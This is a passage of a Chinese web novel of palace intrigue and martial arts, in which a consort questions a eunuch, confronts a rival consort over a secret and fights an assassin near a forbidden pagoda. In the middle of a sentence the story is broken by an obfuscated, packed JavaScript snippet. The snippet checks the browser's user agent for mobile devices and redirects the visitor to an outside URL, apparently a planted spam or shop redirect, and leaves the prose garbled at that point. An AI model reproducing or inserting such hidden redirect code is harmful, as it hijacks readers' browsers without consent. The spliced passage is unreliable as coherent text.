摸到里头硬邦邦的银锭,她的脸颊立刻红了,小声道:“臣不是这个意思……” 她将荷包轻轻搁在桌角,对着屠骁躬了躬身,飞快跑出屋去了。 酒是好酒。 一开封,浓郁的醇香便霸道地充满了整个房间,将满室名贵的暖香都压了下去。 屠骁自顾自地取过两只酒杯,提起酒瓮,在杯中倒满了酒。 一杯放在自己面前,另一杯,她用两根手指轻轻推到了对面。 “坐。” 章简仍立在门边。 她没有看他,但他知道这个字是对他说的。 章简躬着身,嘴唇微动:“这……” 于礼不合。 这四个字在他舌尖上滚了滚,几乎就要脱口而出,可屠骁的声音又响起了。 还是那个字:“坐。” 章简只好坐下。 他实在是不解。 他愈发觉得看不透这位万昭仪了。 圣旨已下,召万昭仪今夜侍寝。 对于任何一个后宫女子而言,这都是天大的恩宠,是鱼跃龙门的契机。 她们会激动,会忐忑,会用尽浑身解数妆点自己,只为博得君王那一刻的垂青。 可她没有。 她没有忐忑羞怯,甚至连新赐的宫装都不曾换上。反倒是神色严肃,面容冷峻,似乎面对的不是君王恩宠,而是一场性命攸关的决斗。 她究竟在想什么? 她为什么不去沐浴更衣,反而要叫他来喝酒? 难道跟他喝酒是比侍寝还要重要的事。 章简的心开始乱跳,又被强行压了下去。 屠骁没有理会他的困惑,径直端起自己的那杯酒,一饮而尽。 而后双眼亮晶晶地看着他,问:“如今你已重回权都知之位,还会留在我这里当个掌事吗?” 那场落水本就是她自己的缘由,自然查不到什么,最终只以“栏杆不牢、地面湿滑”草草了结。 官家本来并不知道此事,可章怀恩不知说了什么,官家一回宫,便连下两道圣旨—— 一是召万昭仪侍寝,以示安抚。 二是严辞斥责了安奎,命章怀恩着人重新修缮宫中各处亭台水榭,以防再有意外。 章怀恩便将这差事派给了严律。 很快,严律便在监工时,被一根“意外”断裂的廊柱砸中了腿,据说伤得不轻,少说要在床上躺三个月。 如此一来,权都知之位又回到了章简手中,权力甚至较以往更盛。 这的确是件叫人心情畅快的事。 章简的眉目不自觉地柔和了下来,那张虚伪的脸上也难得露出了几分真切的笑意。 “全仗娘娘当日以身入局,才能将安奎拉下来。”他躬身道,“臣仍是娘娘的人,但凭娘娘吩咐。” “这话错了,有官家,有章伴,你永远都不会是我的人。”屠骁摇头慨叹,话锋一转,“你若真想谢我,不如说点实话。” 章简端起面前的酒杯,也学着她的样子,一饮而尽。 酒一入腹,就像岩浆一样在他的肺腑和脏器里灼烧起来,可他什么都感觉不到。 过了很久,他才用一种近乎耳语的声音悠悠道:“我猜,娘娘现在心中已有计较,只是尚无铁证。” 屠骁点头,两手交叉,以手背托着腮,虚心请教:“那么依你看,我该怎么做呢?” 章简见她纡尊降贵,不耻下问,心中十分受用。 旋即又笑,笑这人反复无常,又笑自己几次三番被她戏弄,万万不能再轻易上当。 于是带了几分嘲讽道:“后宫的手段,娘娘怕是不懂。很多事压根没有证据,也不看证据。” “那看什么?” “只看一样,心。” “哦?” “心里信,便是有。” 章简转着酒杯,视线停留在自己的指尖上:“心中不信,便是没有。” 屠骁若有所思,玩味道:“那么,你那日在药局说担心我遭遇不测。我是该信,还是不信呢?” 章简一愣:“不是担心娘娘,臣还能为了什么?” 屠骁慢慢地笑了,替他找好了理由:“你定是知道有人要去动手脚,对么?” “……是。” 章简似乎被她看穿了所有心思,无奈承认。 “那人想必已知道娘娘查到了安胎药的药案,便想去药局将那药案毁掉,我本想来个守株待兔,将人擒住,可惜,”他苦笑一声,“我的布置竟叫那人察觉了。” “所以,与元鸣和严律无关?” “绝对无关。” “那就好。不过,那背后之人必定工于心计,连你这老谋深算之人都叫她比了下去。” 这话并不算夸奖,甚至还有些讽刺,但章简仍颔首笑道:“娘娘谬赞。” 屠骁拿起酒壶。 章简见状,忙抢先一步接过,站起身,恭恭敬敬地为两人又倒满了酒,然后才重新坐下。 这一次,他坐得更直了,腰板硬得像铁,手脚绷得像弓。 因为他的头已经开始发晕,他怕自己稍不留神就会倒下去。 屠骁的眼睛直直地盯住他,问:“那你当日为何要骗我呢?” 章简知道她说的是他不肯“按计划”留在守静宫的事。 果然还惦记着这个呢! 章简又将一杯酒慢慢地喝了下去。 酒液灼烧着他的喉咙,他的脸颊,他的一切。火辣辣的暖意一路冲上头顶,将他的脸烧得滚烫,可他的神情依旧镇定得可怕。 “并非骗娘娘。” 他说话的速度渐渐慢了下来,“彼时后院已有人闯入,臣不敢明说,恐怕打草惊蛇,只好找些托辞。” 他的的确确也有担心。 担心自己怀疑错了人,担心自己惊跑了大鱼,担心立功不成反遭罚。 可这其中,究竟有没有对昭仪娘娘的担忧呢? 有没有一丁点奢望,奢望自己能从万昭仪口中听闻那个人的消息,哪怕只有捕风捉影的传闻呢? 屠骁又给他倒了一杯酒,唇角勾起一抹极淡的笑意,令人心神荡漾。 “那么,你怀疑谁?” 章简似乎醉了。 他从不喝酒。 酒会乱性,会让人说错话、做错事。 他唯一会喝的只有干爹赐下的酒。 可近来,他总是精神不济,神情恍惚,情绪焦躁,总觉得四肢百骸都透着无法驱散的疲惫,仿佛身体里有东西正在一点点溜走,他却分辨不清是什么,只好焦急地用东西填满自己。 所以方才他破了例。 他本不该继续,可眼前那澄澈的酒液在烛光下轻轻晃动,像是有种蛊惑人心的魔力。 喉咙后知后觉地开始发痒,鬼使神差地,他又端起面前的酒杯,喝了下去。 耳畔有女子的声音,飘飘忽忽,像从很远的地方传来。 “……你说得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086424|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没错,我也认为是宁妃。” 章简浑身一震,酒意瞬间醒了大半。 我什么时候说了宁妃? 我还说了什么? 他猛地抬头,惊疑不定地向四周看去,这才发现,不知何时,那两个伺候笔墨的宫女已经消失了。 偌大的殿内,只剩下他和她。 炭盆里的银霜炭烧得正旺,发出细微的噼啪声,官家赐下的金玉器皿、宫装首饰就在桌案上,闪烁着冰冷而华丽的光芒。 烛火静静地燃烧,将两人的影子拉得很长。 章简忽的又醉了。 她为什么与我说这些? 这岂不是说明,她很信任我? 他习惯了勾心斗角、尔虞我诈,习惯了说话藏三分、真心留一半,习惯了对着一张张笑脸盘算着背后该捅几刀。 还从没有人,这样直白、这样毫无防备地对待过他。 即便是干爹,对他也始终隔着一层。 这本也无可厚非,到了干爹如今的地位,对谁都不可能全然信任,他从未觉得有任何不对劲。 可此时此刻,章简心中蓦然升起一股异样的情绪。 一种从未有过的激烈情感在他的肠胃里搅动,叫他想要翻滚,想要大叫,想要呕吐。 那张英气逼人的面孔,在摇曳的烛光下,显得有些模糊,却又有一种奇异的熟悉感。 ——可她不是她,他也没有资格怀念她。 章简不知道,自己已经不知不觉地点了头,又说了好一段话。 他并不打算开口,奈何话好像长了脚,自己从他嘴里溜了出去。 这些话似乎重量不轻,说了之后,他只觉浑身都轻飘飘的,像是要飞起来。 而后,他听见昭仪娘娘道:“那好,我要请你做一件事。” “不必用‘请’字,娘娘吩咐就是。”他慢慢回过神。 “我要你去叫一顶轿子来。” “娘娘要出去?” “是,去云笈阁。” 章简一怔。 他本以为,如今自己重掌尚食局,娘娘必定还是想从药案入手,查出那白司药究竟是如何在安胎药中动了手脚,究竟受到何人指使。 没想到,竟是直接找宁妃对峙? 屠骁自然看出他的想法,失笑道:“证据定然早被毁了,再纠结于此毫无意义。你方才也说了,宫里不讲证据,只讲信与不信。” 章简哑着嗓子:“娘娘……信?” 屠骁道:“我信。” 章简又问:“难道娘娘指望宁妃认罪?” “非也。没有证据,凶手又怎么会认罪呢?” “那娘娘大可不必去了。据臣所知,云笈阁的太监们武功也不低,你我二人恐不是对手。” 屠骁有些意外地看着他:“你以为我是去找她寻仇?” “难道不是?” 屠骁摇头,笑起来:“我没有那么蠢。我已了了一桩心事,现在是为了另一桩心事。” 仇自然要报,不过不是现在。 章简这才想起,万昭仪连淑妃的灵位都还没见过呢。 他点点头:“何时去?” “现在。” “现在?” “你怕了?” 章简失笑,随即缓缓站起身。 酒意似乎已经完全散去,他又变回了那个滴水不漏的权都知。他慢慢地躬身,慢慢地叉手,慢慢地道:“臣自当随侍娘娘左右。” 屠骁满意地点点头:“好。” 有了轿子,到云笈阁的时间便被大大缩短。 宁妃见到屠骁的时候,脸上并没有多少意外之色。 她斜签着身子,懒洋洋地靠在软榻上,背后四面纯银打造的立式鸟兽纹镜排成一道镜屏,映得她浑身发着亮光。 她身上只穿着一件寝衣,露出一段雪白的脖颈和精致的锁骨,一双狐狸般绯红的眼角高高挑起,睨着屠骁:“你来我这儿做什么?” 屠骁将抄好的宫规递给一旁的宫女,宫女又呈给宁妃。 “呵,你倒是听话。” 宁妃随手翻了两下,便丢在一旁,挥手叫宫女退下,翻开手镜,欣赏着自己的妆容。 等人走后,宁妃才缓缓开口:“那日在海棠苑,你是自己跳下去的吧?” 24. 这是独给你的 屠骁点头:“正是。” 宁妃道:“那么,底下的东西,你一定也瞧见了?” 跟聪明人说话的确简单。 屠骁再次点头,从怀中掏出一样东西。 宁妃的视线在那东西上淡淡一掠,语调依旧是懒散的。 “一枚牙牌,又能说明什么?” “说明有人曾躲在那里,那人非但是云笈阁的人,功夫还不赖。只是,他为何要躲在那里呢?” 宁妃忽的笑了,看屠骁的眼神像是在那两只逗趣的白孔雀。 虽张牙舞爪,却并不危险,反而叫人觉得滑稽可笑。 她用手指遥遥点着屠骁:“你今日是来兴师问罪的?你觉得是我害死了白司药,嫁祸给你姐姐?” 屠骁并不否认:“我知道娘娘不会承认。” 宁妃看着自己新染的蔻丹,吹了口气,慢条斯理道:“承认了又如何呢?你还有本事杀了我不成?你的姐姐是万柳,不是白司药,难道你连白司药的仇也要报?” 屠骁道:“还有兰娘子。” 宁妃的神色有些不自然,抿了抿唇脂,道:“兰娘子是为了你姐姐而死,你姐姐也赔了命给她,你若觉得冤,便自己赔命好了。” 屠骁道:“此事暂且放在一边,我不与娘娘多费口舌。” 她逼近半步,直视着宁妃的双眼:“告诉我,她在哪里?” 宁妃眼尾拉直,嘶声冷笑:“你姐姐死了四十八天,此刻怕是都化作一堆白骨了?你又何必去对着骨头哭丧?” 屠骁却道:“这么说,娘娘知道她在哪儿了?” 宁妃一顿:“我不知情。” 屠骁却不以为然。 柳娘之死,源头正是这个白司药,不论柳娘是自戕还是被害,都与害死白司药的宁妃脱不了干系。 “娘娘怎么可能不知情呢?若是我害死了人,我必定要知道那人葬在何处,如何下葬,是否会化作厉鬼来找我,否则我恐怕是夙夜难寐、坐卧难安呢!” 宁妃默然许久,忽的大笑:“哈哈哈哈……我当然知道她在哪里!你抄了许多遍宫规,难道不知道围嘴自戕的宫妃有什么下场?” 她森森道:“宫妃自戕这等丑事,本该按暴病而亡处置。可暴病而亡也该有丧仪,有陵墓,有追赠亦或追贬。你姐姐什么都没有,你难道没想过为什么?” 屠骁的牙渐渐咬紧。 宁妃又抬起手镜,挡住自己的脸,将镜背那缠枝牡丹花纹对着屠骁。 “那自然是因为,她早就被挫骨扬灰了!” 屠骁霍然抬头,呼吸变得粗重:“好,那她的骨灰扬在哪里?” 宁妃像看傻子似的看着屠骁。 见屠骁神态真挚、凶狠,大有不得到答案不罢休的意思,她忽的觉得背脊阵阵发凉,仿佛被猛兽盯住了后颈。 她昂起头,扬声道:“来……” 只说了一个字,便听屠骁冷冷开口。 “娘娘当真不肯说?若是我以娘娘的秘密交换呢?” 宁妃一愣,好笑道:“秘密?我能有什么秘密?” 屠骁面无表情:“娘娘是没有秘密,那二大王呢?” 宁妃坐直了身子,双手握成了拳。 屠骁慢慢道:“或者,不该叫他二大王……” 说到此处,宁妃已是神色大变,扑上前去想要阻拦,可她的动作怎么快的过语言? 刚一迈开步,她便听到了屠骁的声音,那个叫她浑身发冷的声音—— “二公主。” - 守静宫的主人即将承蒙雨露,到处洋溢着欣喜热烈的氛围,连屋脊上的吻兽似乎都露出笑来。 屠骁换上一身新裁的宫装,静待圣人传召。 几位教习礼仪的女官退下后,元鸣一颗心几乎提到了嗓子眼,在屋外来回踱步,既是雀跃,又是紧张。 这模样,仿佛侍寝的不是屠骁,而是她这个女官了。 她脸颊上飞着两团红云,声音像风中的羽毛,又轻又飘。 “章都知,你说,娘娘得了圣宠,咱们的日子是不是就能好过些了?” 她偷偷觑着章简,声音又低了三分,羡慕道:“章都知时常在官家面前行走,倒是镇定。我还从未见过天颜,心中实在忐忑,只怕一个行差踏错,连累了娘娘,那可如何是好!” 章简侍立一旁,只含笑应和,说着些宽慰的话,心中却明镜似的。 官家今夜多半是不会来了。 ——太静了。 长街之上,万籁俱寂,听不见脚步辚辚,更无内侍抬轿的声响。 他抬眼望天。 一轮白玉圆盘高挂空中,清辉遍洒,满宫生寒。 今日正是十五望日,是官家禳灾炼度的秘仪之期。 每逢此日,官家便要与国师在太一宫的净室内秘设道场,朝拜北斗,佩符诵经,吞服金丹。 纵有天大的事,也得放在一旁。 章简的面上忽地掠过一丝阴霾。 官家本不该将召幸的日子定在今日的,无论如何他也不该混淆了秘仪之期。 难道他已经如此糊涂了…… 更鼓声声复声声。 直至夜半,守静宫外依旧不见半点动静。 宫人们原先的期盼早已化作了满面愁容,殿中气氛死寂沉沉。 谁都清楚,这头一回侍寝乃是重中之重,是关系到阖宫上下前程的头等机遇,倘若一开始便受挫,往后只怕再无出头之日。 唯有屠骁,面上依旧古井无波。 她淡淡安抚了众人几句,便随手拆下钗环,命元鸣等人退下。 “今日旨意不会来了,都歇了吧” 元鸣急忙拦住她,劝道:“娘娘!这才子时正,再等等吧,若是来了旨意,娘娘再重新梳妆,恐怕会耽搁了时辰,被官家怪罪。” 屠骁却不理会,一头青丝已经散在手中。 “不来便不来,也不是什么要紧事。难道他一夜不来,我们就一夜不睡?” 元鸣重重点头,用力握住屠骁的手:“臣陪着娘娘。” 屠骁笑了,柔声道:“去叫章简来吧。章伴日夜随侍圣驾,必定深知圣意,叫章简去章伴那里探探口风,给个准信儿。你可放心了?” 元鸣欣喜道:“好,臣这就去!” 宫人们退下,殿门阖上。 待殿中只余二人,章简方才躬身道:“娘娘不如早些歇下吧,官家今夜怕是不会来了。” “果然如此。” 闻言,屠骁脸上并没有半分失落,也没有询问缘由,反而绽出奇异的光彩,那是一种猎人发现猎物踪迹时的惊喜。 章简暗自揣度,一定是白日里宁妃的话起了作用。 可宁妃究竟与她说了什么呢? 他远远地不曾靠近,只记得从云笈阁出来时,昭仪娘娘的面色尚算平静,而宁妃那张美艳的脸却扭曲变色,罩满寒霜。 偏又一言不发,眼神空洞,只怔怔出神。 现在,他终于知道了。 “五方塔?不是上清观?”连章简也惊讶了。 屠骁点了点头:“正是,就在五方塔。” 章简奇道:“淑妃娘娘的仙身竟然还在宫里?” “不错,据说要停满七七四十九日,才会移出宫去,送往上清观火化。” 五方塔位于皇宫北极。 始建于奉乐十一年,七层八角,塔身遍镶美玉,檐角悬挂金铃,风过时如圣境仙语,九天梵唱。 此塔是国师清修之所,平日里供奉着三清四御、诸天星君,除了官家与国师,等闲人等绝难踏入半步。 宁妃还道,塔内设有天下一流的匠人所造的九九八十一道机关,道道皆可要人性命,另有毒烟、飞箭,即便侥幸闯入,也是非死即伤。 章简心思急转,道:“宁妃娘娘是如何知道的?” 屠骁哼了一声:“身为四妃之首,若连这点消息都探听不到,才真叫人怀疑了。” 章简瞳孔微缩。 屠骁又道:“官家定然也知道我姐姐的死与宁妃脱不了干系,所以才将此事交给圣人处置。” 章简不由得侧目,心道这人的心思如此敏锐,竟是一点便透。 她才入宫几日? 万家二娘子怎么变得这么聪明了? “娘娘所言不错。”他笑了笑。 帝王之术,本就在于权衡,在于坐山观虎斗。 将宁妃的把柄递到圣人手里,既震慑宁妃,叫她不敢再随意滋事,又安抚圣人,给前朝被 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正如这宫里所有的太监一样,他爱金子,爱权势,更爱主子们对他流露出信任有加的眼神,下人们对他敬畏讨好的表情。 他紧紧攥着那带金子,只觉经过先前种种,昭仪娘娘已对他深信不疑。 或许,不日便会将那长生箓的秘密和盘托出。 难道对付这等天真重义之人,只需施舍小恩小惠即可,而不必拿捏把柄? 是他想得太复杂了不成? “娘娘放心。”他躬身领命。 临出门,他突然想起什么,道:“按例,每月十五官家需与国师闭关斋戒,拜北斗,思玄妙,非到次日天明不会出关。十年来,无一例外。” 他刻意在最后四个字加重了声音,却表现得像是不经意。 屠骁看着他,慢慢地笑了:“好,我信你。” 宫灯在风中摇曳,光影幢幢,像是无数游荡的鬼火。 章简面带得色,脚步生风。 任谁揣着这样一袋金子,心情都会十分欢快。 行至太一宫附近,远远便看见两个面熟的押班太监提着灯笼,守在偏院的门前。 见到这两个人,他便知道干爹已回到房里。 既然干爹已回房,那官家必是已与国师入了净室,他犯不着再去叩门搅扰,也犯不着再打点上下—— 这袋金子全部归他了。 他愈发高兴,转身便走。 月挂中天,皎洁如镜。 章简望着月亮,脚步慢慢地停住了。 他的话不论分量轻重,总归会起些作用的。算算日子,今日距淑妃娘娘身死已是四十八天,明日便是七七之期,是最后期限。 万昭仪若想要见姐姐最后一面,今日便是绝佳的机会。 以万昭仪的性子,她究竟会等待时机,还是贸然前去一探究竟呢? 不去,本是情理之中;若当真一时冲动,前去探访,也不是那么容易能得手的。 且不论塔外有守卫严加把守,塔内更有重重机关,她这样的三脚猫功夫,恐怕连五方塔的石壁都摸不到,便要打道回府了吧? 严律说得没错,主子是死是活对自己也没有影响,只要干爹在一日,他们就有一日的倚仗。 我不过是多嘴说了几句话,又何必自恼呢? 章简吐出口气,继续往西走去,只不过,脚步越来越慢、越来越慢,来至一处岔路口,终于停住了。 极目远眺,五方塔刺向苍穹,像一柄蘸了月光的剑,要将圆月挑破。 她究竟会不会去呢? 章简在岔路口站了许久,许久,直到掌心渗出了汗,鼻尖上带了些许凉意,才再次挪动脚步。 五方塔看起来那么远,远得仿佛在天边,又那么近,近得仿佛一伸手便能触到檐角的金铃。 今夜无风,金铃又是为了什么而响? 屠骁伸出手,似乎想要捏住那些闪闪发光的铃铛。可掌心翻转,捏住的不是铃铛,赫然正是一枚钢针。 有人拦在她面前。 一身押班太监的服色,身形瘦如竹篙,却岿然不动,稳如山岳。 屠骁认得这个人。 “吕自安。” 25. 秘密 屠骁道:“白司药是你杀的。” 吕自安瘦削的脸庞上没有半分波澜,竟直接承认了:“是又如何?她该死。” 他不怕有人听见。 五方塔位置本就偏僻,四周又有奇门遁甲,素来是宫中禁地,别说人迹,便是飞鸟都不敢擅入。 他的话除了屠骁,便只有四周耸立的松林能听到了。 屠骁目光瞬间变得锐利:“所以,你是来杀我的?” 吕自安的声音尖细而平直,像一根削减了的竹箭:“本来不是,现在却是了。” 他的目光落在屠骁的两根手指上,钢针正在月下泛着幽蓝的微光。 “娘娘的功夫,倒不像传闻中那般稀松平常。” 屠骁将他的话当做一句恭维,眉毛一扬,道:“你的身手也不赖。” 方才,她只看到一道影子拦在路中,并未见他有任何动作,耳畔却已响起一声利器破空的锐啸。 后宫中的太监因不得随身佩戴利刃,大多精于内家功夫,尤其擅长以气驭物。这一枚钢针,便是对方以浑厚内力逼出。 在千钧一发之际,她只得硬生生停住脚步,将那枚钢针接下。 若是再慢上一分,她恐怕会永远止步于此了。 吕自安向前踱了两步,慢慢逼近屠骁:“娘娘若当真没有武功,臣只会将你请回,但如今却不同了。” 屠骁冷笑:“我若当真没有武功,方才已经死在你的钢针下了。要打要杀只管来,你又何必惺惺作态!” 吕自安阴森道:“没有人能知道了宁妃娘娘秘密后,还活在这世上。更没有人能威胁宁妃娘娘!” 屠骁叹了口气,她知道,今日这一战已无可避免。 只是此刻她心急着要去见柳娘最后一面,恐怕要在这场缠斗中落了下风。 但她并不紧张,她从来不紧张。 屠家百年铸兵,没有人比她更知道——世间本没有无敌的人,更没有无敌的兵器。 不论再精妙的武器、再高超的武功,也一定会有破解之法。 所以她不需要兵器,只要她的对手有兵器,她便可夺来为己所用。 不过,吕自安的兵器藏在哪里呢? 她盯着吕自安的袖口细细打量。 吕自安像是看穿了她的心思,身形不动,反手一探,两柄短刀倏然飞起。 他足尖在空中轻轻一挑,一柄刀便化作一道流虹,呜呜旋转,不偏不倚落入屠骁掌中。 “接着!” 刀不是好刀。 不过是寻常的砍竹刀,刀身甚阔,不长,刀尖处带一个弯钩,闪着青幽幽的光。 屠骁一瞥之下,忽地想起初见吕自安那日,他腰间正是别着这两柄刀,像是匆匆撇下活计赶出来寻人的木匠。她已能想象他用砍竹刀削下竹篾,编织竹马草狗的温馨画面。 可惜,如今这刀削的不是竹子,而是她的脑袋。 屠骁来不及细想,因为对方的杀气已扑面而来。 吕自安的招式似乎与章简同出一脉,然而于细微处又有所变化。 不同于章简的雄浑霸道,吕自安的身法多了几分阴柔诡谲,灵动飘忽,有如竹叶翻飞。 吕自安一招“白虹贯日”,刀锋直取屠骁面门。 屠骁负手而立,身形只一拧,便避开刀锋,她没有急着出招,只是在观察吕自安的身法和招式。 吕自安眼神一厉,第二招紧随而至。 屠骁手腕一转,手中的砍竹刀一挑、一刺,犹如清风拂柳,轻轻巧巧地卸去了吕自安的力道。 吕自安的眼神骤然一亮,心道,原来是洛阳剑法! 此路剑法以轻灵飘逸见长,最是忌惮刚猛沉雄的招式,他的刀法正好是它的克星。 何况使惯了剑的人,使刀总归有些不适应,动作之中难免有所凝滞。 念及此,他信心大增,刀风虎虎,第三招兜头压下。 若无意外,这一刀应当劈在屠骁的喉咙,她无论如何也挡不下,无论如何也躲不开。 可她偏偏躲开了。 非但躲开了,而且身形陡然一变,步法流云,避开刀锋的一瞬,右手刀飞出,左手凌空接住,反手一格! “叮”的一声脆响,双刀交击,吕自安只觉一股怪力传来,震得他手臂发麻,竟逼得他退了半步。 他心中大骇。 这……这分明是南海的“倒海刀”! 此乃南海渔民与海盗搏杀的招式,专走偏锋,狠辣异常。 最独特的一点便是,此刀法专用左手。 这万昭仪究竟是什么人? 洛阳剑法她使得熟练至极,这倒海刀她看起来竟也浸淫不浅? 他心中惊疑,已在气势上落了下乘。 他的第三招本是针对洛阳剑法,如果继续强攻,就会将自身命门暴露在外。无奈,他只得急急收势自保。 可临阵变招,哪里还来得及? 他刚一抽手,便觉手腕一轻,刀已然被对方用刀勾去了。 双刀在手,屠骁的气势又变了。 她终于开始进攻。 吕自安慌忙后撤,双目圆睁,不由地惊呼出声:“砍头刀!” 这种砍头刀法,是魏国骑兵在战场上惯用的刀法,招式大开大合,凶狠异常。 他之所以知道,还是因为蔺元诲案抄没的那一批家产中,有一本记载了魏、周、启三国的功法实录。那本实录如今就在内侍省。 可万昭仪又怎么会使这种刀法? 她只有十七八的年纪,却精通数种截然不同的刀法剑法,她究竟师承何门何派?又哪里来的机会修习如此庞杂的功法? 这下他彻底迷惘了。 刀光如雪,绞、剪、劈、撩,招招毙命。 屠骁一双眸子亮如寒星,脚下步法展开,比草原上追风的马更快,比九天上搏兔的鹰更猛。 吕自安提气纵身,不得不使出十成二十的本事勉力抵抗。 对方此刻已起了杀心,今日不是她死,就是他亡。 可他决不能死! 他若死了,又有谁能保护二大王? 即便真的要死,也只能是为了二大王而死。 一想到二大王,吕自安便被一股饱满的情绪胀开,畏惧和顾虑都被挤出了胸膛。 有时候,决心杀人并不是什么困难的事情,甚至只需要一个念头,一个瞬间。性命攸关,情势逼人,哪里还有别的选择呢? 吕自安的眼睛紧紧锁住屠骁,钢针已悄无声息地滑入指尖。 他不与她正面硬抗,贴着刀锋一滑,便钻到了她的背后。他已看准,她收势的那一刹那,必定会露出一个破绽—— 右臂高举,刀在空中,尚未落下;左手刀则指向前方,刀柄正对着胸膛。 此时,此刻,正是破绽! 吕自安冷笑一声,内力在他的指尖汇聚,迸发,两枚钢针一前一后,破空出手。 第一枚射向她的右眼。 她若不想变为独眼,只能落下右手的刀去挡,而就在此时,他的第二枚钢针已刺向她的后脑。 除非她能翻转左手,以不可思议的速度挡下背后的钢针。 可她不能。 因为无论多快的人,翻转左手都需要时间,而他的钢针绝不会给她这样的时间。 吕自安很自信,他的脸上甚至露出了笑容。 他应当听到利刃入肉的声音,他应当见到对方倒在地上,他已在思索如何了结残局。 噗嗤! 他的确听到了那个声音。 只是那声音并非来自对方,而是来自他自己。 ——他的心口已被一柄刀刺破。 刀尖只入肉半寸,便停住了,没有再进分毫。 血珠顺着刀往外渗,吕自安的声音已然发颤:“你……” 他只说了一个字,便再也发不出任何声音。 因为他听到不远处“笃笃”的两声,那是钢钉钉入树干的声音。 吕自安张了张嘴。 他分明只留了一点血,可他的脸色却白得像是流了十斤血。 他无论如何也想不到,方才那枚射向她右眼的钢针,她竟没有用右手去挡,而是用左手! 她的动作实在太快,左手刀一振,挡开钢针,整个人借着那股力道,如一片被狂风卷起的花瓣,倏然回旋。 这一转,第二枚钢针恰恰擦着她的鼻尖飞过。 而她那高举的右手并未落下,而是轻轻一抛,像是丢开一个纸团,那柄 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若真想将这事做得完美无缺,就该用些宫里惯用的手段:下毒、陷害、栽赃、嫁祸。 而不是叫一个太监大半夜跟她持刀互殴。 吕自安一顿,恍然大悟:“所以,其实你方才并不打算杀我。” 屠骁淡淡道:“我现在还不想杀你。” 吕自安松开了手。 胸口的皮肉之伤并不重,血已快要止住,但他却像是挨了一刀,身子摇摇欲坠,胸腔剧烈起伏。 半晌,他才道:“你的武功,当真高强莫测。” 屠骁微笑:“那么,你看出了我的路数么?” 吕自安摇头:“我虽看不出你的路数,但却看出了另一件事。” 他的脸上渐渐浮起一抹奇异的笑容,语气笃定:“你绝不是万棠!” 屠骁脸色一寒,冷冷道:“这话你最好想清楚了再说。我若不是万棠,岂不是说明,这宫里都是瞎了眼的蠢货?” 如果她是冒名顶替入了宫,那便是欺君的大罪,该死。 非但她该死,查验接引的太监宫女该死,登记造册的文书官吏该死。 守静宫、内侍省、宫正司、禁卫……有多少人会被牵连?又有多少人会被借机倾轧,断送在官家的雷霆手段之下? 蔺元诲案不正是前车之鉴? 所以,只要不出天大的纰漏,所有人都相信她是万棠,也宁愿她就是万棠。 吕自安自然明白这个道理。 于是他改了口:“不论如何,娘娘知道了宁妃娘娘的秘密,宁妃娘娘也知道了娘娘的秘密。臣这一趟,总算不虚此行。” 屠骁无奈笑了。 她为了入宫已是苦心谋划许久,若真想查证她的身份,不知要费多少手脚、多少功夫。就算当真查实,到时她也有把握脱身。 可那位二大王是龙是凤,只消一看便知,这怎么能一样呢? 不过她并不打算挑明。 他既然觉得不亏,那便算他不亏吧。 两把刀物归原主,吕自安将刀别回腰后,侧身让开了一条路。 他自知拦不住人,只得道了一句:“娘娘保重。” 屠骁本欲离去,忽的停住,问吕自安:“那么你呢?你知道宁妃娘娘的秘密么?” 吕自安仍是那句话:“没有人能知道了宁妃娘娘秘密后,还活在这世上。” 后面还有“除了你”三个字,他没有说,但意思很明显。 屠骁这下怔住了。 他竟也不知道二大王的身份! 她叹了口气,终于有些后悔。 她怎么也想不到,宁妃的本事这样高明,二大王长到这么大,竟无一人发觉异常。 也许她真的不该威胁宁妃,那等心高气傲之人,骤然被人拿住这等天大的把柄,恐怕气也要气死了。 若是自己武功不高,恐怕早就被灭口了吧! 不过,宁妃将五方塔说得那样可怖,又派了人专门拦在此处,俨然是不想让她前去。 既然如此可怖……那她更要去一探究竟了! 26. 来都来了 离得近了,屠骁发觉五方塔并非如远望那般高不可攀。 它的影子太黑,太重,沉得仿佛要陷入地底。 塔身却很白。 塔分五层,塔底无门,只在上边四层开了数扇窗,月光照在紧闭的窗上,泛出一种尸体般的幽光。 屠骁绕着塔周游走一圈,足尖在嶙峋的塔基上轻轻一点,便悄无声息地飘上了一棵老松。 四周松林中没有风,没有鸟鸣,更没有人的气息。 唯有数座半人高的石碑拱立在塔的周围,碑上刻着殷红如血的符箓,在月下看来,如同无数毒蛇一般死死纠缠。 屠骁看清那符文,心陡然一沉。 这是一个镇魂阵。 在道家的玄法中,此阵最为阴毒,专为镇压横死枉死的滔天怨气而设。以地脉为基,引星辰为锁,能叫阵中的魂魄日夜受烈火焚烧、尖针穿刺之苦,直至魂飞魄散,永世不得超生。 屠骁从不信鬼魂。 人死了就是死了,魂飞魄散,一了百了。纵然将尸身投进油锅、刀片凌迟,也不会再有半分知觉。 她更不希望有鬼魂。 否则,柳娘岂不是连死都不得安生? 她不禁想,究竟是什么人,会如此费尽心机对付已死之人? 究竟是怎样的恨,才能做出如此狠绝的手段? 思绪翻滚,被她强自压下,而后提起气息,正待翻身下树,一转头,忽的撞见一只眼。 ——一只滚圆、血红的眼。 屠骁背上一凛,掌风已下意识地挥了出去。 可就在掌风触及那只眼的前一瞬,那只眼睛忽的眨了一下。 紧接着,便腾空而起。 只听“呼”的一声巨响,整棵古松剧烈地摇晃起来,无数松针如暴雨般落下,阻挡了她的视线。 狂风漫卷,月光遮蔽,巨大的双翅凌空展开。 竟是一只苍鹭! 不知什么缘故,它竟能将气息完全敛去,静静地藏在枝叶之间,竟如同死了一般。它身上披着一件翠绿的褙子,此刻正张开双翼,直朝着五方塔的方向飞去。 屠骁暗道一声不好,指尖一捻,一根松针朝着那大鸟疾射而去。 那松针灌注了七成的内力,快如电闪,却在碰上绿色褙子的瞬间滑了开去。 就在这只苍鹭飞起的瞬间,四面八方也同时响起了翅膀扇动的声音。 片刻之间,又有四只一般无二的苍鹭冲天腾起。 